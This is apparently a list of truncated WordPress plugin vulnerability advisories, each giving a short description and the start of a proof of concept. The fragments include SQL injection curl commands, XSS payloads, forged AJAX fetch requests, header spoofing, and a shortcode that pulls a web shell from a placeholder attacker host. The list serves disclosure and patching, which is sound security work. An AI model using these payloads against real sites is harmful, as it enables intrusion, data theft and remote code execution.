Custom Product Tabs for WooCommerce < 1.7.8 - Unauthenticated Toggle Content Setting Update

The plugin does not have proper authorisation in one of its REST endpoint, allowing unauthenticated users to update the "Toggle thecontent filter" setting POST /wp-json/yikes/cpt/v1/settings HTTP/1.1 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type:...

iQ Block Country <= 1.2.18 - Protection Bypass due to IP Spoofing

The plugin does not properly checks HTTP headers in order to validate the origin IP address, allowing threat actors to bypass it's block feature by spoofing the headers. curl -i -H 'CF-CONNECTING-IP: 0.0.0.0' https://example.com...

Formidable Form Builder < 5.0.07 - Admin+ Stored Cross-Site Scripting

The plugin does not sanitise and escape its Form's Labels, allowing high privileged users to perform Cross-Site Scripting attacks even when the unfilteredhtml capability is disallowed Create/edit a form, add the following payload to a Field Label: alert/XSS/ The XSS will be triggered when...

Store Locator WordPress < 1.4.13 - Reflected XSS

Description The plugin does not sanitise and escape an invalid nonce before outputting it back in an AJAX response, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin Make a logged in admin open the URL below...

Rating by BestWebSoft < 1.6 - Rating Denial of Service

The plugin does not validate the submitted rating, allowing submission of long integer, causing a Denial of Service on the post/page when a user submit such rating Under Settings - Discussion, uncheck "Comment must be manually approved" Install and Enable Rating BestWebSoft plugin Change "Enable...

Email Subscribers & Newsletters < 5.3.2 - Unauthenticated arbitrary option update

The plugin lacks both authentication and nonce checks in its esdismissadminnotice function, allowing an external attacker to set arbitrary plugin options to "yes". https://example.com/?optionname=userroles&esdismissadminnotice=1 This will set the option igesuserroles to "yes"...

MasterStudy LMS < 3.0.18 - Unauthenticated Instructor Account Creation

Description The plugin does not have proper checks in place during registration allowing anyone to register on the site as an instructor. They can then add courses and/or posts. 1. Visit the Profiles Settings page for the plugin: MS LMS LMS Settings Profiles 2. Ensure that "Disable Instructor...

Accordion & FAQ < 1.9.9 - Reflected XSS

The plugin does not escape various generated URLs, before outputting them in attributes when some notices are displayed, leading to Reflected Cross-Site Scripting Make a logged-in admin open one of the URLs below when the feature notice has not been dismissed yet...

WP Socializer < 7.3 - Admin+ Stored Cross-Site Scripting

The plugin does not sanitise and escape some of its Icons settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfilteredhtml capability is disallowed for example in multisite setup Activate the Share Icons feature of the...

NextCellent Gallery <= 1.9.35 - Admin+ Stored XSS

The plugin does not sanitise and escape some of its image settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks when the unfilteredhtml capability is disallowed for example in multisite setup Create/edit a gallery with at least one image, pu...

Vrm 360 3D Model Viewer <= 1.2.1 - Contributor+ Arbitrary File Upload Leading to RCE

Description The plugin is vulnerable to arbitrary file upload due to insufficient checks in a plugin shortcode. 1. Host a webserver with a shell named webshell.zip.php 2. As a contributor, add the shortcode: vrm360 canvasname=s1 modelurl=http://ATTACKERHOST/webshell.zip.php aspectratio=1.8...

ND Shortcodes < 7.0 - Contributor+ Stored XSS via Shortcodes

The plugin does not validate and escape numerous of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks ndoptionsteam...

OSMapper <= 2.1.5 - Unauthenticated Arbitrary Post Deletion

The plugin contains an AJAX action to delete a plugin related post type named 'map' and is registered with the wpajaxnopriv prefix, making it available to unauthenticated users. There is no authorisation, CSRF and checks in place to ensure that the post to delete is a map one. As a result,...

Woocommerce < 5.2.0 - Authenticated Stored Cross-Site Scripting (XSS)

When taxes are enabled, the "Additional tax classes" field was not properly sanitised or escaped before being output back in the admin dashboard, allowing high privilege users such as admin to use XSS payloads even when the unfilteredhtml is disabled Enable taxes...

BuddyBoss Platform < 2.6.0 - Insecure Direct Object Reference on Like Comment

Description The plugin contains an IDOR vulnerability that allows a user to like a private post by manipulating the ID included in the request POST /wp-admin/admin-ajax.php HTTP/2 Host: buddyboss.example.com Cookie: REDACTED User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.15; rv:120.0...

The Events Calendar < 6.4.0.1 - Reflected XSS

Description The plugin does not properly sanitize user-submitted content when rendering some views via AJAX. The Events Calendar "...

Zyrex Popup < 1.1 - Admin+ Arbitrary File Upload

The plugin does not validate the type of files uploaded when creating a popup, allowing a high privileged user such as an Administrator to upload arbitrary files, even when modifying the file system is disallowed, such as in a multisite install. Create a new popup by filling in anything in the...

MonsterInsights < 8.12.1 - Contributor+ Stored XSS

The plugin does not validate and escape some of its block options before outputting them back in a page/post where the block is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks. As a contributor, add an "Inline Popular Posts" to a...

Download Manager < 3.2.39 - Unauthenticated brute force of files master key

The plugin uses the uniqid php function to generate the master key for a download, allowing an attacker to brute force the key with reasonable resources giving direct download access regardless of role based restrictions or password protections set for the download. ?php // The full timestamp fro...

WP Sticky Button < 1.4.1 - Unauthenticated Arbitrary Settings Update to Stored XSS

The plugin does not have authorisation and CSRF checks when saving its settings, allowing unauthenticated users to update them. Furthermore, due to the lack of escaping in some of them, it could lead to Stored Cross-Site Scripting issues fetch"/wp-admin/admin-ajax.php", "headers": "content-type":...

Login with phone number < 1.3.8 - Multiple Admin+ Stored XSS

The plugin does not sanitise and escape plugin settings which could allow high privilege users to perform Cross-Site Scripting attacks even when the unfilteredhtml capability is disallowed. Plugin settings Style Settings button border radius or other field put to input field: alert'XSS'; Text &...

WP Statistics <= 12.6.6.1 - Unauthenticated Blind SQL Injection

An endpoint of the API, which is exposed when the 'use cache plugin' setting is enabled by default disabled, is vulnerable to an unauthenticated blind SQLi issue. time curl -X POST 'http://host/wp-json/wpstatistics/v1/hit' --data...

Insert or Embed Articulate Content into WordPress <= 4.3000000023 - Author+ Upload to RCE

Description The plugin is not properly filtering which file extensions are allowed to be imported on the server, allowing the uploading of malicious code within zip files Note: This must be tested on a web server running Apache 1 Create a new post 2 Add e-Learning block to the post and upload a z...

Website Builder by SeedProd < 6.15.22 - Unauthenticated Plugin Page Content Update

Description The plugin does not have authorisation in its seedprodlitenewlpage function, allowing unauthenticated attackers to update the contents of coming-soon, maintenance pages, login and 404 pages set up with the plugin to a blank state As unauthenticated, open the following URL to put the...

WPCode < 2.0.7 - Contributor+ WPCode Library Auth Key Update/Deletion

The plugin does not have adequate privilege checks in place for several AJAX actions, only checking the nonce. This may lead to allowing any authenticated user who can edit posts to call the endpoints related to WPCode Library authentication such as update and delete the auth key. As a contributo...

VR Calendar <= 2.3.4 - Admin+ LFI

The plugin does not validate user input before using it in a require statement, which could allow high privilege users to perform LFI attacks. The attack could also be performed via a CSRF vector by making a logged in admin open a malicious link...

Library File Manager < 5.2.3 - Subscriber+ Arbitrary File Creation/Upload/Deletion

The plugin is using an outdated version of the elFinder library, which is know to be affected by security issues CVE-2021-32682, and does not have any authorisation as well as CSRF checks in its connector AJAX action, allowing any authenticated users, such as subscriber to call it. Furthermore, a...

Change WordPress Login Logo < 1.1.5 - Authenticated Stored Cross-Site Scripting

The height, and width fields used to update the custom logo was found to be vulnerable to stored XSS, as they did not sanitize user input properly before publishing the changes. It is triggered when a user loads the login page. Set the following payload as Height or Width in the plugin's settings...

Read More & Accordion < 3.2.7 - Admin+ PHP Object Injection

Description The plugin unserializes user input provided via the settings, which could allow high-privilege users such as admin to perform PHP Object Injection when a suitable gadget is present. To simulate a gadget chain, put the following code in a plugin: class Evil public function wakeup : voi...

ChatBot < 4.4.7 - Unauthenticated PHP Object Injection

The plugin unserializes user input from cookies via an AJAX action available to unauthenticated users, which could allow them to perform PHP Object Injection when a suitable gadget is present on the blog To simulate a gadget chain, put the following code in a plugin: class Evil public function...

Ninja Forms < 3.4.34 - Administrator Open Redirect

The wpajaxnfoauthconnect AJAX action was vulnerable to open redirect due to the use of a user supplied redirect parameter and no protection in place. http://mysite.com/wp-admin/admin-ajax.php?clientid=1&redirect=https://google.com&action=nfoauthconnect...

Genesis Blocks < 3.1.3 - Contributor+ Stored XSS

Description The plugin does not properly escape data input provided to some of its blocks, allowing using with at least contributor privileges to conduct Stored XSS attacks. As a contributor, put the below code in a post while in Code Editor mode The XSS will be triggered when viewing/previewing...

WooCommerce Product Filter < 1.4.4 - Filter Deletion via CSRF

Description The plugin does not have CSRF check in its bulk action, which could allow attackers to make logged in users delete arbitrary filters via CSRF attack, granted they know the related filter slugs Make a logged in admin open the URL below to make them delete the filter with the slug test1...

Directorist < 7.3.1 - Unauthenticated Email Address Disclosure

The plugin discloses the email address of all users in an AJAX action available to both unauthenticated and any authenticated users https://example.com/wp-admin/admin-ajax.php?action=directoristauthorpagination...

FiboSearch < 1.18.0 - Admin+ Stored Cross-Site Scripting

The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks when the unfilteredhtml capability is disallowed Put the following payload in the Woocommerce FiboSearch Autocomplete Products - "No...

KingComposer <= 2.9.6 - Subscriber+ Stored Cross-Site Scripting

The plugin does not have authorisation, CSRF and sanitisation/escaping when creating profile, allowing any authenticated users to create arbitrary ones, with Cross-Site Scripting payloads in them Create profile: fetch"https://example.com/wp-admin/admin-ajax.php?action=kccreateprofile", "headers":...

PayPal Pay Now, Buy Now, Donation and Cart Buttons Shortcode <= 1.7 - Admin+ Stored XSS

Description The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfilteredhtml capability is disallowed for example in multisite setup 1. Go to...

Migration Backup Restore < 3.5.0 - Admin+ SSRF

Description The plugin does not prevent users with the administrator role from pinging conducting SSRF attacks, which may be a problem in multisite configurations. 1. Click on "Upload Backup" and add http://127.0.0.1:XXX/123.wpstg - "Upload". If the port is open it will return an error "Not Found...

Easy Forms for Mailchimp < 6.9.0 - Admin+ Stored Cross-Site Scripting

Description The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Cross-Site Scripting attacks even when unfilteredhtml is disallowed 1 Create a new opt-in form 2 Edit the form, and add a "First name" field. 3 Update the form...

Smart Slider 3 < 3.5.1.11 - PHP Object Injection

The plugin unserialises the content of an imported file, which could lead to PHP object injection issues when a user import intentionally or not a malicious file, and a suitable gadget chain is present on the site. To simulate a gadget chain, put the following code in a plugin class Evil public...

Nirweb support < 2.8.2 - Unauthenticated SQLi

The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to an SQL injection curl https://example.com/wp-admin/admin-ajax.php --data 'action=answerdticket&idform=1 UNION ALL SELECT NULL,NULL,SELECT userpa...

Awesome Support < 6.1.5 - Submitter+ Arbitrary File Deletion

Description The plugin does not sanitize file paths when deleting temporary attachment files, allowing a ticket submitter to delete arbitrary files on the server. 1. Visit Tickets Settings File Upload 2. Ensure "Enable File Upload", "Enable drag-n-drop uploader for ticket form", and "Check this t...

Contact Form Builder by Bit Form < 2.2.0 - Admin+ Stored XSS

Description The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfilteredhtml capability is disallowed for example in multisite setup 1. Create a Blank form or select conta...

KiviCare Management System < 3.2.1 - Subscriber+ Unauthorised AJAX Calls

The plugin does not have proper CSRF and authorisation checks in various AJAX actions, allowing any authenticated users, such as subscriber to call them. Attacks include but are not limited to: Add arbitrary Clinic Admin/Doctors/etc and update plugin's settings Run one of the below commands in th...

Woo Discount Rules < 2.4.2 - Reflected Cross-Site Scripting

The plugin does not escape a parameter before outputting it back in an attribute of the plugin's discount rule page, leading to Reflected Cross-Site Scripting https://example.com/wp-admin/admin.php?page=woodiscountrules&name="+style=animation-name:rotation+onanimationstart=alert/XSS///...

MapSVG < 6.2.20 - Unauthenticated SQLi

The plugin does not validate and escape a parameter via a REST endpoint before using it in a SQL statement, leading to a SQL Injection exploitable by unauthenticated users. https://example.com/wp-json/mapsvg/v1/maps/2?id=1%27%20AND%20SELECT%2042%20FROM%20SELECTSLEEP5b--+...

Simple Share Buttons Adder < 8.5.1 - Admin+ Stored XSS

Description The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as editors to perform Cross-Site Scripting attacks even when unfilteredhtml is disallowed 1. Go to the plugin settings 2. In the "Additional CSS" field, enter the payload 3. Save...

Themify Builder < 7.5.8 - Open Redirect

Description The plugin does not validate a parameter before redirecting the user to its value, leading to an Open Redirect issue curl -kvL https://www.example.com/wp-login.php \ -e http://arbitrary-referer \ -d...

Seraphinite Accelerator < 2.2.29 - Authenticated Arbitrary Redirect

Description The plugin does not validate the URL to redirect any authenticated user to, leading to an arbitrary redirect Make a logged in user open https://example.com/wp-admin/admin-ajax.php?action=seraphaccelact&fn=acceptEula&redir=https%3A%2F%2Fwpscan.com...

File Manager Pro < 1.8.1 - Admin+ Stored Cross-Site Scripting

Description The plugin does not adequately validate and escape some inputs, leading to XSS by high-privilege users. As an admin, open the File Manager and run the following JS code: fetch"http://localhost:10008/wp-admin/admin-ajax.php", "headers": "content-type": "application/x-www-form-urlencode...